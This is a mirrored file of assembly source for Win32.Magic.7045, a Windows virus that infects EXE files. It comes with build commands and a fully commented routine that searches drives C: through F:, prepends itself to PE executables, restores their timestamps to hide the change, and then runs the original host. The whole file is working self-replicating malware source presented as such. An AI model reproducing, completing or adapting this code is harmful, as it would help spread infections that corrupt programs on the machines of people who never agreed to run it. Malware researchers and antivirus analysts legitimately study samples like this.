mirror of
https://github.com/vxunderground/MalwareSourceCode
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655 lines
33 KiB
NASM
655 lines
33 KiB
NASM
comment *
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Win32.Magic.7045 ÜŰŰŰŰŰÜ ÜŰŰŰŰŰÜ ÜŰŰŰŰŰÜ
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Disassembly by ŰŰŰ ŰŰŰ ŰŰŰ ŰŰŰ ŰŰŰ ŰŰŰ
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Darkman/29A ÜÜÜŰŰß ßŰŰŰŰŰŰ ŰŰŰŰŰŰŰ
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ŰŰŰÜÜÜÜ ÜÜÜÜŰŰŰ ŰŰŰ ŰŰŰ
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ŰŰŰŰŰŰŰ ŰŰŰŰŰŰß ŰŰŰ ŰŰŰ
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Win32.Magic.7045 is a 7045 bytes runtime/direct action EXE virus. Infects
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all files in all directories at drive C:, D:, E: and F:, when executed, by
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every file in current directory and Windows directory, when executed, by
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prepending the virus to the original EXE file.
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Compile Win32.Magic.7045 with Turbo Assembler v 5.0 by typing:
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TASM32 /M /ML /Q /ZD VOODOO.ASM
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TLINK32 -Tpe -c -x -aa -r -v VOODOO.OBJ,,, IMPORT32
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*
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.386
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.model flat
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; KERNEL32.dll
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extrn CopyFileA:proc
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extrn CloseHandle:proc
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extrn CreateFileMappingA:proc
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extrn CreateProcessA:proc
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extrn DeleteFileA:proc
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extrn CreateFileA:proc
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extrn FindFirstFileA:proc
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extrn FindNextFileA:proc
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extrn FlushViewOfFile:proc
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extrn GetCommandLineA:proc
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extrn GetCurrentDirectoryA:proc
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extrn GetExitCodeProcess:proc
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extrn GetFileSize:proc
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extrn ExitProcess:proc
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extrn GetProcAddress:proc
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extrn GetStartupInfoA:proc
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extrn GlobalAlloc:proc
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extrn GlobalFree:proc
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extrn GlobalLock:proc
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extrn GlobalUnlock:proc
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extrn MapViewOfFile:proc
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extrn ReadFile:proc
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extrn SetCurrentDirectoryA:proc
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extrn SetFileAttributesA:proc
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extrn SetFileTime:proc
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extrn Sleep:proc
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extrn UnmapViewOfFile:proc
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extrn lstrcpyA:proc
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extrn GetModuleHandleA:proc
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; USER32.dll
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extrn MessageBoxA:proc
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.data
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VirusSize equ 1b85h ; Size of virus (7045 bytes)
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nBufferLength equ 320h ; Size, in characters, of directory
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; buffer
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MAX_PATH equ 104h
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FALSE equ 00h
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TRUE equ 01h
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FILE_ATTRIBUTE_DIRECTORY equ 10h
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; The "file or directory" is a
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; directory
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FILE_ATTRIBUTE_ARCHIVE equ 20h ; The file is an archive file.
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; Applications use this attribute to
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; mark files for backup or removal.
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CREATE_NEW equ 01h ; Creates a new file. The function
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; fails if the specified file already
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; exists.
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OPEN_EXISTING equ 03h ; Opens the file. The function fails
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; if the file does not exist.
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FILE_SHARE_READ equ 01h ; Other open operations can be
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; performed on the file for read
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; access. If the CreateFile function
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; is opening the client end of a
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; mailslot, this flag is specified.
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FILE_SHARE_WRITE equ 02h ; Other open operations can be
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; performed on the file for write
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; access.
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GENERIC_WRITE equ 40000000h
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; Specifies write access to the file.
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; Data can be written to the file and
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; the file pointer can be moved.
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GENERIC_READ equ 80000000h
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; Specifies read access to the file.
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; Data can be read from the file and
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; the file pointer can be moved.
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PAGE_READWRITE equ 04h ; Gives read-write access to the
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; committed region of pages
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FILE_MAP_WRITE equ 02h ; Read-write access
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NORMAL_PRIORITY_CLASS equ 20h ; Indicates a normal process with no
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; special scheduling needs.
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INVALID_HANDLE_VALUE equ -01h
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STARTUPINFO struct
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cb DWORD ? ; Specifies the size, in bytes, of the
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; structure.
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lpReserved DWORD ? ; Reserved. Set this member to NULL
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; before passing the structure to
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; CreateProcess
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lpDesktop DWORD ? ; Points to a zero-terminated string
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; that specifies either the name of
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; the desktop only or the name of both
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; the window station and desktop for
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; this process
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lpTitle DWORD ? ; For console processes, this is the
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; title displayed in the title bar if
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; a new console window is created
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dwX DWORD ? ; Specifies the x offset, in pixels,
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; of the upper left corner of a window
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; if a new window is created. The
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; offset is from the upper left corner
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; of the screen
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dwY DWORD ? ; Specifies the y offset, in pixels,
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; of the upper left corner of a window
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; if a new window is created. The
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; offset is from the upper left corner
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; of the screen
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dwXSize DWORD ? ; Specifies the width, in pixels, of
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; the window if a new window is
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; created
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dwYSize DWORD ? ; Specifies the height, in pixels, of
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; the window if a new window is
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; created
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dwXCountChars DWORD ? ; Specifies the screen buffer width in
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; character columns
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dwYCountChars DWORD ? ; Specifies the screen buffer height
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; in character rows
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dwFillAttribute DWORD ? ; Specifies the initial text and
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; background colors if a new console
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; window is created
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dwFlags DWORD ? ; This is a bit field that determines
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; whether certain STARTUPINFO members
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; are used when the process creates a
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; window
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wShowWindow WORD ? ; Specifies the default value the first
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; time
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cbReserved2 WORD ? ; Reserved; must be zero
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lpReserved2 DWORD ? ; Reserved; must be NULL
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hStdInput DWORD ? ; Specifies a handle that will be used
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; as the standard input handle of the
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; process
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hStdOutput DWORD ? ; Specifies a handle that will be used
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; as the standard output handle of the
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; process
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hStdError DWORD ? ; Specifies a handle that will be used
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; as the standard error handle of the
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; process
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ends
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FILETIME struct
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dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
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; the file time
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dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
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; the file time
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ends
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WIN32_FIND_DATA struct
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dwFileAttributes DWORD ? ; Specifies the file attributes of the
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; file found
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ftCreationTime FILETIME <> ; Specifies the time the file was
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; created
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ftLastAccessTime FILETIME <> ; Specifies the time that the file was
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; last accessed
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ftLastWriteTime FILETIME <> ; Specifies the time that the file was
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; last written to
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nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
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; of the file size, in bytes
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nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
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; of the file size, in bytes
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dwReserved0 DWORD ? ; Reserved for future use
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dwReserved1 DWORD ? ; Reserved for future use
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cFileName BYTE MAX_PATH dup(?)
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; A null-terminated string that is the
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; name of the file
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cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
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; alternative name for the file
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ends
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PROCESS_INFORMATION struct
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hProcess DWORD ? ; Handle to the newly created process
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hThread DWORD ? ; Handle to the primary thread of the
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; newly created process
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dwProcessId DWORD ? ; Global process identifier that can
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; be used to identify a process
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dwThreadId DWORD ? ; global thread identifiers that can
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; be used to identify a thread
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ends
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szFileName db '*.EXE',00h ; Name of file to search for
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szFileName_ db '*.*',00h ; " " " " " "
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szCurDir db 'c:\',00h ; Name of new current directory
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db 'Magic People-Voodoo People !',00h
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db 00h
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ProcessInformation PROCESS_INFORMATION <>
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dwExitCode dd ? ; Termination status
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dwFileHandle dd ? ; File handle
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dwFileHandle_ dd ? ; File handle
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dwMappingHandle dd ? ; File mapping handle
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lpMappedView dd ? ; Starting address of the mapped view
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dwFileSize dd ? ; Low-order doubleword of the file
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; size
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infect_flag db ? ; Infection flag
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exit_flag db ? ; Exit flag
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NumberOfBytesRead dd ? ; Number of bytes read
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lpFileExtension dd ? ; Pointer to file extension
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StartupInfo STARTUPINFO <>
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szFileName__:
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db 11ah dup(00h)
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db 206h dup(?)
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FindFileData WIN32_FIND_DATA <>
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db 20eh dup(?)
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cBuffer db VirusSize dup(?)
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; Buffer that receives data
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dwSearchHandle dd ? ; Search handle
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dwSearchHandle_ dd ? ; Search handle
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szCurDir_:
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cBuffer_ db 320h dup(?) ; Buffer for current directory
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szCurDir__:
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cBuffer__ db 320h dup(?) ; Buffer for current directory
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db 724h dup(?)
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.code
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code_begin:
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push offset StartupInfo ; Address of STARTUPINFO structure
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call GetStartupInfoA
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call GetCommandLineA
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mov esi,eax ; ESI = pointer to the command-line
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; string for the current process
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cmp byte ptr [esi+01h],':' ; Not Universal Naming Convention
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; (UNC)?
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je _lstrcpyA ; Equal? Jump to _lstrcpyA
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inc eax ; Increase pointer to the command-line
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; string for the current process
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_lstrcpyA:
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push eax ; EAX = address of string to copy
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push offset szFileName__ ; Address of buffer
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call lstrcpyA
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lea esi,szFileName__ ; ESI = offset of szFileName__
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find_dot_in_filename:
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inc esi ; Increase pointer to the command-line
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; string for the current process
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cmp byte ptr [esi],'.' ; Found dot in filename?
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jne find_dot_in_filename ; Not equal? Jump to
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; find_dot_in_filename
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mov byte ptr [esi+04h],00 ; Store zero at end of filename
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mov [lpFileExtension],esi ; Store pointer to file extension
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push 00h ; Handle of file with attributes to
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; copy
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push FILE_ATTRIBUTE_ARCHIVE ; File attributes
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push OPEN_EXISTING ; How to create
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push 00h ; Address of security descriptor
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push FILE_SHARE_READ ; Share mode
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push GENERIC_READ ; Access (read-write) mode
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push offset szFileName__ ; Address of name of the file
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call CreateFileA
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mov [dwFileHandle],eax ; Store file handle
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push eax ; EAX = file handle
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push 00h ; Address of structure for data
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push offset NumberOfBytesRead
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; Address of number of bytes read
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push VirusSize ; Number of bytes to read
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push offset cBuffer ; Address of buffer that receives data
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push eax ; Handle of file to read
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call ReadFile
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pop eax ; EAX = file handle
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push 00h ; Address of high-order word for file
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; size
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push eax ; Handle of file to get size of
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call GetFileSize
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mov [dwFileSize],eax ; Store low-order doubleword of the
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; file size
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cmp eax,VirusSize ; First generation?
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je virus_exit ; Equal? Jump to virus_exit
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mov esi,[lpFileExtension] ; ESI = pointer to file extension
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mov [esi],'MOC.' ; Store file extension
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cmp [esi+05h],'$$$$' ; Temporarily disnfected file?
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je _DeleteFileA ; Equal? Jump to _DeleteFileA
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push 00h ; Handle of file with attributes to
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; copy
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push FILE_ATTRIBUTE_ARCHIVE ; File attributes
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push CREATE_NEW + OPEN_EXISTING
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; How to create
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push 00h ; Address of security descriptor
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push FILE_SHARE_READ + FILE_SHARE_WRITE
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; Share mode
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push GENERIC_READ + GENERIC_WRITE
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; Access (read-write) mode
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push offset szFileName__ ; Address of name of the file
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call CreateFileA
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mov [dwFileHandle_],eax ; Store file handle
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push 00h ; Name of file-mapping object
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push [dwFileSize] ; Low-order doubleword of object size
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push 00h ; High-order doubleword of object size
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push PAGE_READWRITE ; Protection for mapping object
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push 00h ; Optional security attributes
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push [dwFileHandle_] ; Handle of file to map
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call CreateFileMappingA
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mov [dwMappingHandle],eax ; Store file mapping handle
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push [dwFileSize] ; Low-order doubleword of object size
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push 00h ; Low-order doubleword of file offset
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push 00h ; High-order doubleword of file offset
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push FILE_MAP_WRITE ; Access mode
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push eax ; File-mapping object to map into
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; address space
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call MapViewOfFile
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mov [lpMappedView],eax ; Store starting address of the mapped
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; view
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push 00h ; Address of structure for data
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push offset NumberOfBytesRead
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; Address of number of bytes read
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push [dwFileSize] ; Low-order doubleword of object size
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push eax ; Address of buffer that receives data
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push [dwFileHandle] ; Handle of file to read
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call ReadFile
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push 00h ; Number of bytes in range
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push [lpMappedView] ; Starting address of the mapped view
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call FlushViewOfFile
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push [lpMappedView] ; Address where mapped view begins
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call UnmapViewOfFile
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push [dwMappingHandle] ; Handle of object to close
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call CloseHandle
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push [dwFileHandle_] ; Handle of object to close
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call CloseHandle
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push offset ProcessInformation
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; Pointer to PROCESS_INFORMATION
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push offset StartupInfo ; Pointer to STARTUPINFO
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push 00h ; Pointer to current directory name
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push 00h ; Pointer to new environment block
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push NORMAL_PRIORITY_CLASS ; Creation flags
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push 00h ; Handle inheritance flag
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push 00h ; Pointer to thread security
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; attributes
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push 00h ; Pointer to process security
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; attributes
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mov esi,[lpFileExtension] ; ESI = pointer to file extension
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mov byte ptr [esi+04h],' ' ; Store space at end of filename
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push offset szFileName__ ; Pointer to command line string
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push 00h ; Pointer to name of executable module
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call CreateProcessA
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jmp _CloseHandle
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virus_exit:
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mov [exit_flag],TRUE ; Exit code for all threads
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_CloseHandle:
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push [dwFileHandle] ; Handle of object to close
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call CloseHandle
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call infect_drives
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cmp [exit_flag],TRUE ; Exit code for all threads?
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je _ExitProcess ; Equal? Jump to _ExitProcess
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_GetExitCodeProcess:
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push offset dwExitCode ; Address to receive termination
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; status
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push [ProcessInformation.hProcess]
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; Handle to the process
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call GetExitCodeProcess
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cmp [dwExitCode],00h ; No error?
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je _CreateProcessA ; Equal? Jump to _CreateProcessA
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jmp _GetExitCodeProcess
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_CreateProcessA:
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push offset ProcessInformation
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; Pointer to PROCESS_INFORMATION
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push offset StartupInfo ; Pointer to STARTUPINFO
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push 00h ; Pointer to current directory name
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push 00h ; Pointer to new environment block
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push NORMAL_PRIORITY_CLASS ; Creation flags
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push 00h ; Handle inheritance flag
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push 00h ; Pointer to thread security
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; attributes
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push 00h ; Pointer to process security
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; attributes
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mov esi,[lpFileExtension] ; ESI = pointer to file extension
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mov byte ptr [esi+04h],' ' ; Store space at end of filename
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mov [esi],'EXE.' ; Store file extension
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mov [esi+05h],'$$$$' ; Store command-line
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push offset szFileName__ ; Pointer to command line string
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push 00h ; Pointer to name of executable module
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call CreateProcessA
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_ExitProcess:
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push 00h ; Exit code for all threads
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call ExitProcess
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_DeleteFileA:
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push offset szFileName__ ; Address of name of file to delete
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call DeleteFileA
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jmp _ExitProcess
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infect_drives proc near ; Infect drives
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push offset cBuffer_ ; Address of buffer for current
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; directory
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push nBufferLength ; Size, in characters, of directory
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; buffer
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call GetCurrentDirectoryA
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call infect_directories
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mov ecx,04h ; Infect drive C:, D:, E: and F:
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set_current_directory_loop:
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push ecx ; ECX = counter
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push offset szCurDir ; Address of name of new current
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; directory
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call SetCurrentDirectoryA
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call infect_directories
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inc byte ptr [szCurDir] ; Increase drive letter
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pop ecx ; ECX = counter
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loop set_current_directory_loop
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push offset szCurDir_ ; Address of name of new current
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; directory
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call SetCurrentDirectoryA
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jmp _FindNextFileA
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ret ; Return
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endp
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infect_directories proc near ; Infect directories
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push offset cBuffer__ ; Address of buffer for current
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; directory
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push nBufferLength ; Size, in characters, of directory
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; buffer
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call GetCurrentDirectoryA
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push offset FindFileData ; Address of returned information
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push offset szFileName_ ; Address of name of file to search
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; for
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call FindFirstFileA
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mov [dwSearchHandle],eax ; Store search handle
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_FindNextFileA:
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push offset FindFileData ; Address of returned information
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push [dwSearchHandle] ; Handle of search
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call FindNextFileA
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or eax,eax ; Function failed?
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jz function_failed ; Zero? Jump to function_failed
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cmp [FindFileData.cFileName],'.'
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; Directory?
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je _FindNextFileA ; Equal? Jump to _FindNextFileA
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mov eax,[FindFileData.dwFileAttributes]
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and eax,FILE_ATTRIBUTE_DIRECTORY
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; Directory?
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jz _FindNextFileA ; Zero? Jump to _FindNextFileA
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push offset szCurDir__ ; Address of name of new current
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; directory
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call SetCurrentDirectoryA
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push offset FindFileData.cFileName
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; Address of name of new current
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; directory
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call SetCurrentDirectoryA
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push offset FindFileData ; Address of returned information
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push offset szFileName ; Address of name of file to search
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; for
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call FindFirstFileA
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mov [dwSearchHandle_],eax ; Store search handle
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cmp eax,INVALID_HANDLE_VALUE
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je _FindNextFileA ; Function failed? Jump to
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; _FindNextFileA
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continue_a_file_search:
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or eax,eax ; Function failed?
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jz _FindNextFileA ; Zero? Jump to _FindNextFileA
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call infect_file
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push offset FindFileData ; Address of returned information
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push [dwSearchHandle_] ; Handle of search
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call FindNextFileA
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jmp continue_a_file_search
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function_failed:
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ret ; Return
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endp
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infect_file proc near ; Infect file
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push FILE_ATTRIBUTE_ARCHIVE ; Address of attributes to set
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push offset FindFileData.cFileName
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; Address of filename
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call SetFileAttributesA
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push 00h ; Handle of file with attributes to
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; copy
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push FILE_ATTRIBUTE_ARCHIVE ; File attributes
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push OPEN_EXISTING ; How to create
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push 00h ; Address of security descriptor
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push FILE_SHARE_READ + FILE_SHARE_WRITE
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; Share mode
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push GENERIC_READ + GENERIC_WRITE
|
|
; Access (read-write) mode
|
|
push offset FindFileData.cFileName
|
|
; Address of name of the file
|
|
call CreateFileA
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je _SetFileAttributesA ; Function failed? Jump to
|
|
; _SetFileAttributesA
|
|
mov [dwFileHandle],eax ; Store file handle
|
|
|
|
push 00h ; Address of high-order word for file
|
|
; size
|
|
push eax ; Handle of file to get size of
|
|
call GetFileSize
|
|
mov [dwFileSize],eax ; Store low-order doubleword of the
|
|
; file size
|
|
_CreateFileMappingA:
|
|
push eax ; EAX = low-order doubleword of the
|
|
; file size
|
|
|
|
push 00h ; Name of file-mapping object
|
|
push eax ; Low-order doubleword of object size
|
|
push 00h ; High-order doubleword of object size
|
|
push PAGE_READWRITE ; Protection for mapping object
|
|
push 00h ; Optional security attributes
|
|
push [dwFileHandle]
|
|
call CreateFileMappingA
|
|
mov [dwMappingHandle],eax ; Store file mapping handle
|
|
|
|
push 00h ; Low-order doubleword of file offset
|
|
push 00h ; High-order doubleword of file offset
|
|
push FILE_MAP_WRITE ; Access mode
|
|
push eax ; File-mapping object to map into
|
|
; address space
|
|
call MapViewOfFile
|
|
|
|
cmp [infect_flag],TRUE ; Infect file?
|
|
je infect_file_ ; Equal? Jump to infect_file_
|
|
|
|
mov esi,eax ; ESI = starting address of the mapped
|
|
; view
|
|
mov edi,[esi+3ch] ; EDI = offset of new executable (NE,
|
|
; LE,etc) header within disk file
|
|
cmp dword ptr [esi+edi],'EP'
|
|
; Portable Executable (PE)?
|
|
jne infect_exit ; Not equal? Jump to infect_exit
|
|
cmp [esi+6fh],'3NIW'
|
|
je infect_exit ; Equal? Jump to infect_exit
|
|
|
|
call _UnmapViewOfFile
|
|
|
|
mov [infect_flag],TRUE ; Infect file
|
|
|
|
mov eax,[dwFileSize] ; EAX = Low-order doubleword of the
|
|
; file size
|
|
add eax,VirusSize ; Add size of virus to low-order
|
|
; doubleword of the file size
|
|
jmp _CreateFileMappingA
|
|
infect_file_:
|
|
mov [infect_flag],FALSE ; Don't infect file
|
|
mov [lpMappedView],eax ; Store starting address of the mapped
|
|
; view
|
|
|
|
push edi esi ecx ; Save registers at stack
|
|
pushf ; Save flags at stack
|
|
add eax,[dwFileSize] ; Add low-order doubleword of the file
|
|
; size to starting address of the
|
|
; mapped view
|
|
add eax,VirusSize-01h ; Add size of virus minus one to
|
|
; starting address of the mapped view
|
|
mov edi,eax ; EDI = pointer to last byte of file
|
|
mov esi,[lpMappedView] ; ESI = starting address of the mapped
|
|
; view
|
|
add esi,[dwFileSize] ; Add low-order doubleword of the file
|
|
; size to starting address of the
|
|
; mapped view
|
|
mov ecx,[dwFileSize] ; ECX = low-order doubleword of the
|
|
; file size
|
|
dec esi ; ESI = pointer to last byte of
|
|
; original code
|
|
std ; Set direction flag
|
|
rep movsb ; Move original code to end of file
|
|
|
|
mov edi,[lpMappedView] ; EDI = starting address of the mapped
|
|
; view
|
|
xor eax,eax ; Zero EAX
|
|
mov ecx,VirusSize ; Store seven thousand and forty-five
|
|
; bytes
|
|
cld ; Clear direction flag
|
|
rep stosb ; Overwrite the first seven thousand
|
|
; and forty-five bytes of original
|
|
; code
|
|
|
|
mov edi,[lpMappedView] ; EDI = starting address of the mapped
|
|
; view
|
|
lea esi,cBuffer ; ESI = offset of cBuffer
|
|
mov ecx,VirusSize ; Move seven thousand and forty-five
|
|
; bytes
|
|
cld ; Clear direction flag
|
|
rep movsb ; Move virus to beginning of file
|
|
popf ; Load flags from stack
|
|
pop ecx esi edi ; Load registers from stack
|
|
infect_exit:
|
|
call _UnmapViewOfFile
|
|
|
|
push offset FindFileData.ftLastWriteTime-08h
|
|
; Time the file was last written
|
|
push offset FindFileData.ftLastAccessTime-04h
|
|
; Time the file was last accessed
|
|
push offset FindFileData.ftCreationTime
|
|
; Time the file was created
|
|
push [dwFileHandle] ; Identifies the file
|
|
call SetFileTime
|
|
|
|
push [dwFileHandle] ; Handle of object to close
|
|
call CloseHandle
|
|
_SetFileAttributesA:
|
|
push [FindFileData.dwFileAttributes]
|
|
; Address of attributes to set
|
|
push offset FindFileData.cFileName
|
|
; Address of filename
|
|
call SetFileAttributesA
|
|
|
|
ret ; Return
|
|
endp
|
|
|
|
_UnmapViewOfFile proc near ; Unmaps a mapped view of a file from
|
|
; the calling process's address space
|
|
; and close it
|
|
push [lpMappedView] ; Address where mapped view begins
|
|
call UnmapViewOfFile
|
|
|
|
push [dwMappingHandle] ; Handle of object to close
|
|
call CloseHandle
|
|
|
|
ret ; Return
|
|
endp
|
|
code_end:
|
|
|
|
end code_begin |